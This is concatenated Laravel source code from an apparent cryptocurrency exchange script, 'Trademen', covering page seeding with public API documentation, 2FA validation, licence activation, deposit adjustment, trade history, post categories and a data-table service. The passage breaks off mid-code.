=> 'about, about us, about us page,', 'meta_keywords' => '["about","trademen","exchange","trading","crypto","currencies"]', 'is_published' => ACTIVE, 'created_at' => $date, 'updated_at' => $date, ], [ 'slug' => 'api', 'title' => 'API', 'content' => '<h2 class="mb-4">Public API</h2> <p>Trademen provides HTTP APIs for interacting with the exchange only for public market data.</p> <ul class="list-group mb-3 pl-0"> <li class="list-group-item lf-toggle-bg-card"><a class="text-info" href="#returnTicker">- returnTicker</a></li> <li class="list-group-item lf-toggle-bg-card"><a class="text-info" href="#returnOrderBook">- returnOrderBook</a></li> <li class="list-group-item lf-toggle-bg-card"><a class="text-info" href="#returnTradeHistory">- returnTradeHistory</a></li> <li class="list-group-item lf-toggle-bg-card"><a class="text-info" href="#returnChartData">- returnChartData</a></li> </ul> <p>The HTTP API allows read access to public market data through the public endpoint -</p> <p>Public HTTP Endpoint: <a class="text-info">https://yourdomain.com/api/public</a></p> <div id="returnTicker"> <h4 class="py-3">returnTicker</h4> <p>Retrieves summary information for each currency/coin pair listed on the exchange.</p> <p>Ticker Endpoint: <a class="text-info">https://yourdomain.com/api/public?command=returnTicker</a></p> <table class="table table-borderless table-striped lf-toggle-bg-card lf-toggle-border-card lf-toggle-border-color"> <tbody> <tr> <td class="w-25"><strong>Field</strong></td> <td class="strong"><strong>Description</strong></td> </tr> <tr> <td>last</td> <td>Execution price for the most recent trade for this pair.</td> </tr> <tr> <td>change</td> <td>Price change percentage.</td> </tr> <tr> <td>high24hr</td> <td>The highest execution price for this pair within thec last 24 hours.</td> </tr> <tr> <td>low24hr</td> <td>The lowest execution price for this pair within the last 24 hours.</td> </tr> <tr> <td>baseVolume</td> <td>Base units traded in the last 24 hours.</td> </tr> <tr> <td>tradeVolume</td> <td>trade units traded in the last 24 hours.</td> </tr> </tbody> </table> <h5>Example:</h5> <div class="card my-2 mb-3 lf-toggle-bg-card"> <div class="card-body"> <pre class="text-green"> { "BTC_USD": { "last": "8180.000000000", "low24hr": "8183.00000000", "high24hr": "10369.00000000", "change": "5.99", "tradeVolume": "614.24470018", "baseVolume": "5694762.62500284" }, "DOGE_BTC": { "last": "0.000000200", "low24hr": "0.000000190", "high24hr": "0.000000210", "change": "10.58", "tradeVolume": "1614.24470018", "baseVolume": "4694762.62500284" } } </pre> </div> </div> <p>Retrieving summary information for a specified currency/coin pair listed on the exchange -</p> <table class="table table-borderless table-striped lf-toggle-bg-card lf-toggle-border-card lf-toggle-border-color"> <tbody> <tr> <td class="w-25"><strong>Request Parameter</strong></td> <td class="strong"><strong>Description</strong></td> </tr> <tr> <td>tradePair</td> <td>A pair like BTC_USD</td> </tr> </tbody> </table> <p>Ticker Endpoint: <a class="text-info"> https://yourdomain.com/api/public?command=returnTicker&amp;tradePair=BTC_USD </a></p> <h5>Example:</h5> <div class="card my-2 mb-3 lf-toggle-bg-card"> <div class="card-body"> <pre class="text-green"> { "last": "8180.000000000", "low24hr": "8183.00000000", "high24hr": "10369.00000000", "change": "5.99", "tradeVolume": "614.24470018", "baseVolume": "5694762.62500284" } </pre> </div> </div> <div id="returnOrderBook"> <h4 class="py-3">returnOrderBook</h4> <p>Retrieves the latest 50 order book of each order type information for a specified currency/coin pair listed on the exchange</p> <p>Order book Endpoint: <a class="text-info">https://yourdomain.com/public?command=returnOrderBook&amp;tradePair=BTC_USD</a></p> <h5>Input Fields:</h5> <table class="table table-borderless table-striped lf-toggle-bg-card lf-toggle-border-card lf-toggle-border-color"> <tbody> <tr> <td>tradePair</td> <td>A pair like BTC_ETH</td> </tr> </tbody> </table> <h5>Out Fields:</h5> <table class="table table-borderless table-striped lf-toggle-bg-card lf-toggle-border-card lf-toggle-border-color"> <tbody> <tr> <td class="w-25"><strong>Field</strong></td> <td class="strong"><strong>Description</strong></td> </tr> <tr> <td>asks</td> <td>An array of price aggregated offers in the book ordered from low to high price.</td> </tr> <tr> <td>bids</td> <td>An array of price aggregated bids in the book ordered from high to low price.</td> </tr> </tbody> </table> <h5>Example:</h5> <div class="card my-2 mb-3 lf-toggle-bg-card"> <div class="card-body"> <pre class="text-green"> { "asks": [ { "price": "0.09000000", "amount": "500.00000000", "total": "45.00000000" }, { "price": "0.11000000", "amount": "700.00000000", "total": "77.00000000" } ... ], "bids": [ { "price": "0.10000000", "amount": "700.00000000", "total": "70.00000000" }, { "price": "0.09000000", "amount": "500.00000000", "total": "45.00000000" } ... ] } </pre> </div> </div> </div> </div> <div id="returnTradeHistory"> <h4 class="py-3">returnTradeHistory</h4> <p>Returns the past 100 trades for a given market, You may set a range specified in UNIX timestamps by the “start” and “end” GET parameters.</p> <p>Trade History Endpoint: <a class="text-info"> https://yourdomain.com/public?command=returnTradeHistory&amp;tradePair=BTC_USD </a></p> <p>Trade History Endpoint: <a class="text-info"> https://yourdomain.com/public?command=returnTradeHistory&amp;tradePair=BTC_USD&amp;start=1593419220&amp;end=1593423660 </a></p> <h5>Input Fields:</h5> <table class="table table-borderless table-striped lf-toggle-bg-card lf-toggle-border-card lf-toggle-border-color"> <tbody> <tr> <td class="w-25"><strong>Request Parameter</strong></td> <td class="strong"><strong>Description</strong></td> </tr> <tr> <td>tradePair</td> <td>A pair like BTC_ETH</td> </tr> <tr> <td>start (optional)</td> <td>The start of the window in seconds since the unix epoch.</td> </tr> <tr> <td>end (optional)</td> <td>The end of the window in seconds since the unix epoch.</td> </tr> </tbody> </table> <h5>Out Fields:</h5> <table class="table table-borderless table-striped lf-toggle-bg-card lf-toggle-border-card lf-toggle-border-color"> <tbody> <tr> <td class="w-25"><strong>Field</strong></td> <td class="strong"><strong>Description</strong></td> </tr> <tr> <td>date</td> <td>The UTC date and time of the trade execution.</td> </tr> <tr> <td>type</td> <td>Designates this trade as a buy or a sell from the side of the taker.</td> </tr> <tr> <td>price</td> <td>The price in base currency for this asset.</td> </tr> <tr> <td>amount</td> <td>The number of units transacted in this trade.</td> </tr> <tr> <td>total</td> <td>The total price in base units for this trade.</td> </tr> </tbody> </table> <h5>Example:</h5> <div class="card my-2 mb-3 lf-toggle-bg-card"> <div class="card-body"> <pre class="text-green"> [ { "price": "9860.86031280", "amount": "0.85441089", "total": "8425.22643602", "type": "buy", "date": "2020-06-29 10:03:00" }, { "price": "9862.25325181", "amount": "0.15549235", "total": "1533.50493441", "type": "sell", "date": "2020-06-29 10:02:00" }, ... ] </pre> </div> </div> </div> <div id="returnChartData"> <h4 class="py-3">returnChartData</h4> <p>Returns candlestick chart data. Required GET parameters are tradePair, (candlestick period in seconds; valid values are 300, 900, 1800, 7200, 14400, and 86400), start, and end. Start and end are given in UNIX timestamp format and used to specify the date range for the data returned. Fields include:</p> <p>Chart Data Endpoint: <a class="text-info"> https://yourdomain.com/public?command=returnChartData&amp;tradePair=BTC_USD&amp;interval=900&amp;start=1546300800&amp;end=1546646400 </a></p> <h5>Input Fields:</h5> <table class="table table-borderless table-striped lf-toggle-bg-card lf-toggle-border-card lf-toggle-border-color"> <tbody> <tr> <td class="w-25"><strong>Request Parameter</strong></td> <td class="strong"><strong>Description</strong></td> </tr> <tr> <td>tradePair</td> <td>The currency pair of the market being requested.</td> </tr> <tr> <td>interval</td> <td>Candlestick period/interval in seconds. Valid values are 300, 900, 1800, 7200, 14400, and 86400.</td> </tr> <tr> <td>start</td> <td>The start of the window in seconds since the unix epoch.</td> </tr> <tr> <td>end</td> <td>The end of the window in seconds since the unix epoch.</td> </tr> </tbody> </table> <h5>Out Fields:</h5> <table class="table table-borderless table-striped lf-toggle-bg-card lf-toggle-border-card lf-toggle-border-color"> <tbody> <tr> <td class="w-25"><strong>Field</strong></td> <td class="strong"><strong>Description</strong></td> </tr> <tr> <td>date</td> <td>The UTC date for this candle in miliseconds since the Unix epoch.</td> </tr> <tr> <td>high</td> <td>The highest price for this asset within this candle.</td> </tr> <tr> <td>low</td> <td>The lowest price for this asset within this candle.</td> </tr> <tr> <td>open</td> <td>The price for this asset at the start of the candle.</td> </tr> <tr> <td>close</td> <td>The price for this asset at the end of the candle.</td> </tr> <tr> <td>volume</td> <td>The total amount of this asset transacted within this candle.</td> </tr> </tbody> </table> <h5>Example:</h5> <div class="card my-2 mb-3 lf-toggle-bg-card"> <div class="card-body"> <pre class="text-green"> [ { "date": 1593396900, "low": "10112.27439575", "high": "10115.44996344", "volume": "1.54063724", "open": "10115.44996344", "close": "10112.27439575" }, { "date": 1593397800, "low": "10061.35948383", "high": "10112.27439575", "volume": "6.88096652", "open": "10112.27439575", "close": "10061.35948383" }, ... ] </pre> </div> </div> </div>', 'meta_description' => 'api, public api, tradmen', 'meta_keywords' => '["API","public","http","public api","trademen"]', 'is_published' => ACTIVE, 'created_at' => $date, 'updated_at' => $date, ], [ 'slug' => 'privacy-policy', 'title' => 'Privacy Policy', 'content' => '<h2>Privacy Policy</h2> <p> </p> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris a odio non mi tincidunt malesuada. Sed mattis, ex eget porttitor iaculis, purus neque ultricies arcu, sit amet viverra neque enim sed neque. Vivamus eget felis in tellus mattis interdum id ut odio. Sed id lorem laoreet, gravida velit a, tincidunt magna. Aliquam non dictum arcu. In dignissim sit amet lorem vel efficitur. Quisque vel mattis dui. Duis elit ligula, aliquam eu tempus rhoncus, aliquam et ante. Sed vitae augue maximus, auctor ex id, interdum purus. Nulla lacinia, sapien eget bibendum porta, leo ex fermentum magna, ac cursus nulla arcu eu dui. Aliquam arcu sapien, congue ac leo venenatis, pretium tempus nisl. Phasellus malesuada nulla a luctus iaculis. Nulla sed tempus nisl. Cras iaculis ultricies nulla, nec lobortis sem. Fusce finibus bibendum felis, id pulvinar eros vestibulum eget.</p> <p>Cras euismod tellus sit amet risus eleifend elementum. Suspendisse eu orci lectus. In auctor fermentum nunc, eu auctor risus maximus in. Morbi fringilla odio sem, et vestibulum arcu aliquam ac. Nam quis felis massa. Nunc eu lobortis est. Duis ut venenatis lectus. Fusce eros purus, blandit eu augue non, vulputate placerat sapien. Ut eu dui lorem.</p> <p>Cras sed tempor sem. Pellentesque porta risus non erat eleifend, egestas rutrum felis vulputate. Sed commodo urna sed enim pretium varius. Nunc sed hendrerit odio. Donec eu tortor justo. Sed faucibus velit et diam auctor, nec placerat massa ultrices. Proin porta eu justo et iaculis. Proin ut elit a ligula lobortis varius feugiat in felis. Proin molestie massa vitae volutpat aliquam. Morbi arcu nisi, tempus sit amet laoreet eget, elementum sed neque. Vivamus condimentum orci vitae ex lacinia, id rutrum lacus aliquam. Sed nec odio eu diam ullamcorper dapibus quis vel nunc. Duis sed dictum mauris, ut ultrices lorem. Suspendisse faucibus est turpis, vitae volutpat sem tempus non. Pellentesque odio nisi, efficitur vel urna vel, ultrices fermentum velit. Fusce suscipit nisl sed fermentum fringilla.</p> <p>Quisque sagittis mollis venenatis. Integer sed vestibulum neque, eget vulputate nulla. Quisque magna leo, cursus quis augue nec, gravida ornare ipsum. Nulla dignissim ante lorem, eu dignissim lectus tempor eget. Cras feugiat facilisis dolor, ac sagittis justo suscipit rutrum. Cras molestie varius ante, sit amet porta dui ornare eget. Aenean auctor auctor quam, sed interdum elit consequat ut. Praesent faucibus, libero non vulputate placerat, est tortor dignissim nulla, a sollicitudin elit ipsum at justo. Maecenas fermentum nibh eget leo aliquet scelerisque. Suspendisse potenti. Sed nec orci porta, maximus nulla eget, accumsan tellus. Nam viverra mauris felis, ac accumsan sapien tempus molestie.</p> <p>Praesent placerat, libero sit amet laoreet sollicitudin, augue leo cursus mauris, ut ultrices tortor lacus in nunc. Ut suscipit dolor vitae scelerisque cursus. Duis vestibulum nec tellus in accumsan. Proin laoreet augue vel laoreet convallis. Proin commodo, nisi eget efficitur tincidunt, neque sapien commodo dolor, vel euismod urna mauris quis elit. Etiam varius ligula scelerisque, suscipit velit vel, maximus risus. Nullam ultrices ante ut massa imperdiet, sit amet efficitur libero convallis. Nulla non nunc ex. Pellentesque pellentesque egestas leo, at tempus elit cursus non. Integer convallis accumsan semper. Nulla ornare ex sed tortor iaculis, vitae aliquet massa vestibulum. Etiam finibus ipsum diam.</p>', 'meta_description' => 'Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry\'s standard dummy text ever since the 1500s,', 'meta_keywords' => '["privacy","policy","privacy policy"]', 'is_published' => ACTIVE, 'created_at' => $date, 'updated_at' => $date, ], [ 'slug' => 'referral-programs', 'title' => 'Referral Programs', 'content' => '<h2>Referral Programs</h2> <p> </p> <p>Trademen follows Unilevel referral progamr. Unilevel compensation plan is a single level plan with unlimited members on the front-line. This plan ensures maximum benefit for the collective effort of a distributor.</p> <p> </p> <div class="row"> <div class="col-md-3 col-sm-6"> <h3>Get your referral link</h3> <p>All Trademen customers can access their referral link from their profile page. Login to your Trademen account to find your referral link.</p> </div> <div class="col-md-3 col-sm-6"> <h3>Invite your friends</h3> <p>Share your referral link with your friends, family, and on your social networks. Every person who signs up using your link will be another person you can earn from.</p> </div> <div class="col-md-3 col-sm-6"> <h3>Start your earning</h3> <p>When your referrals trade on Trademen you’ll earn 10% of the trading fees they pay.</p> </div> <div class="col-md-3 col-sm-6"> <h3>Expand your network</h3> <p>The more you share, the more you earn. Continue sharing your referral link with your network to keep the earnings coming.</p> </div> </div>', 'meta_description' => 'Trademen, Buy, sell, and trade Bitcoin (BTC), Ethereum (ETH), TRON (TRX), Tether (USDT), and the best altcoins on the market with the legendary crypto exchange.', 'meta_keywords' => '["Referral","Referral program"]', 'is_published' => ACTIVE, 'created_at' => $date, 'updated_at' => $date, ], [ 'slug' => 'terms-and-conditions', 'title' => 'Terms and Conditions', 'content' => '<h2>Terms and Conditions</h2> <p> </p> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris a odio non mi tincidunt malesuada. Sed mattis, ex eget porttitor iaculis, purus neque ultricies arcu, sit amet viverra neque enim sed neque. Vivamus eget felis in tellus mattis interdum id ut odio. Sed id lorem laoreet, gravida velit a, tincidunt magna. Aliquam non dictum arcu. In dignissim sit amet lorem vel efficitur. Quisque vel mattis dui. Duis elit ligula, aliquam eu tempus rhoncus, aliquam et ante. Sed vitae augue maximus, auctor ex id, interdum purus. Nulla lacinia, sapien eget bibendum porta, leo ex fermentum magna, ac cursus nulla arcu eu dui. Aliquam arcu sapien, congue ac leo venenatis, pretium tempus nisl. Phasellus malesuada nulla a luctus iaculis. Nulla sed tempus nisl. Cras iaculis ultricies nulla, nec lobortis sem. Fusce finibus bibendum felis, id pulvinar eros vestibulum eget.</p> <p>Cras euismod tellus sit amet risus eleifend elementum. Suspendisse eu orci lectus. In auctor fermentum nunc, eu auctor risus maximus in. Morbi fringilla odio sem, et vestibulum arcu aliquam ac. Nam quis felis massa. Nunc eu lobortis est. Duis ut venenatis lectus. Fusce eros purus, blandit eu augue non, vulputate placerat sapien. Ut eu dui lorem.</p> <p>Cras sed tempor sem. Pellentesque porta risus non erat eleifend, egestas rutrum felis vulputate. Sed commodo urna sed enim pretium varius. Nunc sed hendrerit odio. Donec eu tortor justo. Sed faucibus velit et diam auctor, nec placerat massa ultrices. Proin porta eu justo et iaculis. Proin ut elit a ligula lobortis varius feugiat in felis. Proin molestie massa vitae volutpat aliquam. Morbi arcu nisi, tempus sit amet laoreet eget, elementum sed neque. Vivamus condimentum orci vitae ex lacinia, id rutrum lacus aliquam. Sed nec odio eu diam ullamcorper dapibus quis vel nunc. Duis sed dictum mauris, ut ultrices lorem. Suspendisse faucibus est turpis, vitae volutpat sem tempus non. Pellentesque odio nisi, efficitur vel urna vel, ultrices fermentum velit. Fusce suscipit nisl sed fermentum fringilla.</p> <p>Quisque sagittis mollis venenatis. Integer sed vestibulum neque, eget vulputate nulla. Quisque magna leo, cursus quis augue nec, gravida ornare ipsum. Nulla dignissim ante lorem, eu dignissim lectus tempor eget. Cras feugiat facilisis dolor, ac sagittis justo suscipit rutrum. Cras molestie varius ante, sit amet porta dui ornare eget. Aenean auctor auctor quam, sed interdum elit consequat ut. Praesent faucibus, libero non vulputate placerat, est tortor dignissim nulla, a sollicitudin elit ipsum at justo. Maecenas fermentum nibh eget leo aliquet scelerisque. Suspendisse potenti. Sed nec orci porta, maximus nulla eget, accumsan tellus. Nam viverra mauris felis, ac accumsan sapien tempus molestie.</p> <p>Praesent placerat, libero sit amet laoreet sollicitudin, augue leo cursus mauris, ut ultrices tortor lacus in nunc. Ut suscipit dolor vitae scelerisque cursus. Duis vestibulum nec tellus in accumsan. Proin laoreet augue vel laoreet convallis. Proin commodo, nisi eget efficitur tincidunt, neque sapien commodo dolor, vel euismod urna mauris quis elit. Etiam varius ligula scelerisque, suscipit velit vel, maximus risus. Nullam ultrices ante ut massa imperdiet, sit amet efficitur libero convallis. Nulla non nunc ex. Pellentesque pellentesque egestas leo, at tempus elit cursus non. Integer convallis accumsan semper. Nulla ornare ex sed tortor iaculis, vitae aliquet massa vestibulum. Etiam finibus ipsum diam.</p>', 'meta_description' => 'Trademen, Buy, sell, and trade Bitcoin (BTC), Ethereum (ETH), TRON (TRX), Tether (USDT), and the best altcoins on the market with the legendary crypto exchange.', 'meta_keywords' => '["terms","conditions","user aggrements"]', 'is_published' => ACTIVE, 'created_at' => $date, 'updated_at' => $date, ], ]; Page::insert($pages); } } <file_sep><?php namespace App\Http\Requests\User; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; class Google2faRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = [ 'google_app_code' => 'required|numeric', ]; if($this->isMethod('PUT')) { $rules['password'] = 'required|hash_check:' . Auth::user()->password; $rules['back_up'] = 'required|in:1'; } return $rules; } public function messages() { return [ 'password.hash_check' => __('Current password is wrong.'), 'back_up.required' => __('This field is required.'), 'back_up.in' => __('Invalid data.'), ]; } public function attributes() { return [ 'google_app_code' => __('google 2FA'), ]; } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; class ProductActiveController extends Controller { public function store(Request $request): RedirectResponse { $validatedData = $request->validate([ 'purchase_code' => 'required|uuid', ]); $filePath = storage_path('framework/nEZ7JXsiNtzgNNK487R7T8yNcZtucq18G1o7'); try { $response = Http::post(PRODUCT_VERIFIER_URL, [ 'purchase_code' => $validatedData['purchase_code'], 'server_addr' => $request->server('SERVER_ADDR'), 'http_host' => $request->server('HTTP_HOST'), ]); if ($response->successful()) { file_put_contents($filePath, $response->body()); } else { throw new Exception(__('Product could not be activated.')); } } catch (Exception $exception) { return back() ->with(RESPONSE_TYPE_ERROR, $exception->getMessage()); } if ($response) { return redirect() ->route('home') ->with(RESPONSE_TYPE_SUCCESS, __("Product has been activated successfully.")); } return back() ->with(RESPONSE_TYPE_ERROR, __('Product could not be activated.')); } } <file_sep><?php namespace App\Http\Requests\Coin; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class CoinDepositRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'deposit_status' => [ 'required', Rule::in(array_keys(active_status())) ], 'deposit_fee' => [ 'numeric', 'min:0', Rule::requiredIf(function () { return $this->get('deposit_status') == ACTIVE; }), ], 'deposit_fee_type' => [ 'required', Rule::in(array_keys(fee_types())) ], 'minimum_deposit_amount' => [ 'numeric', 'min:0', Rule::requiredIf(function () { return $this->route('coin')->type === COIN_TYPE_FIAT; }), ], ]; } } <file_sep><?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Http\Requests\Deposit\AmountAdjustmentRequest; use App\Models\Deposit\WalletDeposit; use Exception; use Illuminate\Http\JsonResponse; class AdminBankDepositAdjustController extends Controller { public function __invoke(AmountAdjustmentRequest $request, WalletDeposit $deposit): JsonResponse { $message = __('Something went wrong. Please try again.'); if ($deposit->status !== STATUS_REVIEWING) { return response()->json([ RESPONSE_MESSAGE_KEY => $message ], 400); } $attributes = $request->validated(); try { $deposit->update($attributes); $message = __('Successfully deposit amount has been updated.'); } catch (Exception $exception) { return response()->json([RESPONSE_STATUS_KEY => RESPONSE_TYPE_ERROR, RESPONSE_MESSAGE_KEY => $message]); } return response()->json([RESPONSE_STATUS_KEY => RESPONSE_TYPE_SUCCESS, RESPONSE_MESSAGE_KEY => $message]); } } <file_sep><?php namespace App\Http\Controllers\TradeHistory; use App\Http\Controllers\Controller; use App\Models\Core\User; use App\Models\Exchange\Exchange; use App\Services\Core\DataTableService; use Illuminate\View\View; class UserTradingHistoryController extends Controller { public function index(User $user): View { $data['title'] = __('Trades'); $data['userId'] = $user->id; $searchFields = [ ['exchanges.coin_pair_id', __('Market')], ]; $orderFields = [ ['exchanges.created_at', __('Date')], ]; $select = [ 'exchanges.*', 'order.category', 'order.maker_fee', 'order.taker_fee', 'coins.id as coin_id', 'coins.symbol as coin_symbol', 'coins.name as coin_name', 'coins.type as coin_type', 'base_coins.id as base_coin_id', 'base_coins.symbol as base_coin_symbol', 'base_coins.name as base_coin_name', 'base_coins.type as base_type', 'email', ]; $filterFields = [ ['order.category', __('Category'), order_categories()], ]; $queryBuilder = Exchange::select($select) ->leftJoin('coin_pairs', 'exchanges.coin_pair_id', '=', 'coin_pairs.id') ->leftJoin('order', 'exchanges.order_id', '=', 'order.id') ->leftJoin('coins as coins', 'coin_pairs.coin_id', '=', 'coins.id') ->leftJoin('coins as base_coins', 'coin_pairs.base_coin_id', '=', 'base_coins.id') ->leftJoin('users', 'exchanges.user_id', '=', 'users.id') ->where('exchanges.user_id', $user->id) ->orderBy('id', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); return view('trading.admin.user_tradings', $data); } } <file_sep><?php namespace App\Http\Controllers\Post; use App\Http\Controllers\Controller; use App\Http\Requests\Post\PostCategoryRequest; use App\Models\Post\PostCategory; use App\Services\Core\DataTableService; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\View\View; class PostCategoryController extends Controller { public function index(): View { $searchFields = [ ['name', __('Name')], ]; $orderFields = [ ['name', __('Name')], ['is_active', __('Status')], ]; $data['title'] = __('Post Categories'); $queryBuilder = PostCategory::orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('posts.admin.categories.index', $data); } public function create(): View { $data['title'] = __('Post Category Create'); return view('posts.admin.categories.create', $data); } public function store(PostCategoryRequest $request): RedirectResponse { $attributes = $request->only('name', 'is_active'); try { PostCategory::create($attributes); } catch (Exception $exception) { $message = __('Failed to create new post category!'); if ($exception->getCode() == 23000) { $message = __('Failed to create post category for duplicate entry!'); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, $message); } return redirect()->route('post-categories.index')->with(RESPONSE_TYPE_SUCCESS, __('Post category successfully created!')); } public function edit(PostCategory $postCategory): View { $data['title'] = __('Post Edit'); $data['postCategory'] = $postCategory; return view('posts.admin.categories.edit', $data); } public function update(PostCategoryRequest $request, PostCategory $postCategory): RedirectResponse { $attributes = $request->only('name', 'is_active'); try { $postCategory->update($attributes); } catch (Exception $exception) { $message = __('Failed to update post category!'); if ($exception->getCode() == 23000) { $message = __('Failed to update post category for duplicate entry!'); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, $message); } return redirect()->route('post-categories.index')->with(RESPONSE_TYPE_SUCCESS, __('Post category successfully updated!')); } } <file_sep><?php namespace App\Http\Controllers\Coin; use App\Http\Controllers\Controller; use App\Models\Coin\Coin; use App\Models\Coin\CoinPair; use Illuminate\Http\RedirectResponse; class AdminCoinStatusController extends Controller { public function change(Coin $coin): RedirectResponse { $isDefaultCoinPair = CoinPair::where('is_default', ACTIVE) ->where(function ($query) use ($coin) { $query->where('trade_coin', $coin->symbol) ->orWhere('base_coin', $coin->symbol); })->first(); if ($isDefaultCoinPair) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('This is a part of default coin pair and it cannot be inactivated.')); } if ($coin->toggleStatus()) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('Successfully system coin status changed. Please try again.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to change status. Please try again.')); } } <file_sep><?php namespace App\Http\Controllers\Orders; use App\Http\Controllers\Controller; use App\Http\Requests\Order\OrderRequest; use App\Services\Orders\CreateOrderService; class CreateOrderController extends Controller { public function store(OrderRequest $request) { $response = app(CreateOrderService::class)->create(); return response()->json($response, $response[RESPONSE_STATUS_KEY] ? 201 : 400); } } <file_sep><?php namespace App\Services\Core; use App\Exports\DataTableExport; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Database\Eloquent\Relations\Relation; use Illuminate\Http\Request; use Illuminate\Support\HtmlString; use Maatwebsite\Excel\Facades\Excel; class DataTableService { /** * @var Request */ public $request; protected $paginationInfo; protected $searchFields = []; protected $orderFields = []; protected $filterFields = []; protected $headings = []; protected $appends = []; protected $displayDateFilter = true; protected $displayDownloadButton = false; public function __construct(Request $request) { $this->paginationInfo = [ 'pageName' => PAGINATION_PAGE_NAME, 'itemPerPage' => PAGINATION_ITEM_PER_PAGE, 'eachSide' => PAGINATION_EACH_SIDE, ]; $this->request = $request; } public function create($queryBuilder) { $frm = !is_array($this->request->get($this->paginationInfo['pageName'] . '-frm')) ? $this->request->get($this->paginationInfo['pageName'] . '-frm') : null; $to = !is_array($this->request->get($this->paginationInfo['pageName'] . '-to')) ? $this->request->get($this->paginationInfo['pageName'] . '-to') : null; if ($frm) { $queryBuilder->whereDate($queryBuilder->getModel()->getTable() . '.created_at', '>=', $frm); } if ($to) { $queryBuilder->whereDate($queryBuilder->getModel()->getTable() . '.created_at', '<=', $to); } $this->filter($queryBuilder); $this->search($queryBuilder); $this->orderBy($queryBuilder); if ($this->request->ajax()) { $extension = $this->request->get('type', 'csv'); $name = random_string(10) . '.' . datatable_downloadable_type($extension)['extension']; $file = Excel::raw(new DataTableExport($queryBuilder, $this->headings), constant('\Maatwebsite\Excel\Excel::' . strtoupper($extension))); response()->json(['file' => "data:application/vnd.openxmlformats-officedocument.spreadsheetml.sheet;base64," . base64_encode($file), 'name' => $name])->send(); die(); } $paginationObject = $queryBuilder->paginate($this->paginationInfo['itemPerPage'], ['*'], $this->paginationInfo['pageName'])->appends($this->appends); return $this->makeView($paginationObject); } private function filter(&$queryBuilder) { $filterRequest = $this->request->get($this->paginationInfo['pageName'] . '-fltr'); if (!empty($this->filterFields)) { if (is_array($filterRequest)) { $filterRequest = array_intersect_key($filterRequest, $this->filterFields); $this->appends[$this->paginationInfo['pageName'] . '-fltr'] = $filterRequest; foreach ($filterRequest as $key => $value) { if (is_array($this->filterFields[$key][2])) { if (isset($this->filterFields[$key][3])) { $queryBuilder->whereHas($this->filterFields[$key][3], function ($query) use ($key, $value) { $query->whereIn($this->filterFields[$key][0], $value); }); } else { $queryBuilder->whereIn($this->filterFields[$key][0], $value); } } else if ($this->filterFields[$key][2] === 'preset') { if (isset($this->filterFields[$key][3]) && !is_null($this->filterFields[$key][3])) { $queryBuilder->whereHas($this->filterFields[$key][3], function ($query) use ($key, $value) { $query->where(function ($subQuery) use ($key, $value) { foreach ($value as $presetKey => $presetValue) { if (isset($this->filterFields[$key][4][$presetKey])) { $subQuery->orWhere($this->filterFields[$key][0], $this->filterFields[$key][4][$presetKey][1], $this->filterFields[$key][4][$presetKey][2]); } } }); }); } else { foreach ($value as $presetKey => $presetValue) { if (isset($this->filterFields[$key][4][$presetKey])) { $queryBuilder->where($this->filterFields[$key][0], $this->filterFields[$key][4][$presetKey][1], $this->filterFields[$key][4][$presetKey][2]); } } } } else if ($this->filterFields[$key][2] === 'range') { if (isset($this->filterFields[$key][3])) { $queryBuilder->whereHas($this->filterFields[$key][3], function ($query) use ($key, $value) { if (isset($value[0]) && is_numeric($value[0])) { $query->where($this->filterFields[$key][0], '>=', $value[0]); } if (isset($value[1]) && is_numeric($value[1])) { $query->where($this->filterFields[$key][0], '<=', $value[1]); } }); } else { if (isset($value[0]) && is_numeric($value[0])) { $queryBuilder->where($this->filterFields[$key][0], '>=', $value[0]); } if (isset($value[1]) && is_numeric($value[1])) { $queryBuilder->where($this->filterFields[$key][0], '<=', $value[1]); } } } else { unset($filterRequest[$key]); } } } } } private function search(&$queryBuilder) { $searchOperator = !is_array($this->request->get($this->paginationInfo['pageName'] . '-comp')) ? $this->request->get($this->paginationInfo['pageName'] . '-comp') : null; $searchField = !is_array($this->request->get($this->paginationInfo['pageName'] . '-ssf')) ? $this->request->get($this->paginationInfo['pageName'] . '-ssf') : null; $searchTerm = !is_array($this->request->get($this->paginationInfo['pageName'] . '-srch')) ? $this->request->get($this->paginationInfo['pageName'] . '-srch') : null; if (!empty($searchOperator) && !empty($searchTerm)) { $comparison = ['e' => '=', 'lk' => 'like', 'ne' => '!=']; $operator = array_key_exists($searchOperator, $comparison) ? $comparison[$searchOperator] : $comparison = 'LIKE'; $searchFields = []; foreach ($this->searchFields as $key => $searchRow) { if (strlen($searchField) > 0 && $key == $searchField) { unset($searchFields); if (isset($searchRow[2])) { $searchFields['relations'][$searchRow[2]][] = $searchRow[0]; } else { $searchFields['original'][] = $searchRow[0]; } break; } if (isset($searchRow[2])) { $searchFields['relations'][$searchRow[2]][] = $searchRow[0]; } else { $searchFields['original'][] = $searchRow[0]; } } $this->appends[$this->paginationInfo['pageName'] . '-comp'] = $searchOperator; $this->appends[$this->paginationInfo['pageName'] . '-ssf'] = $searchField; 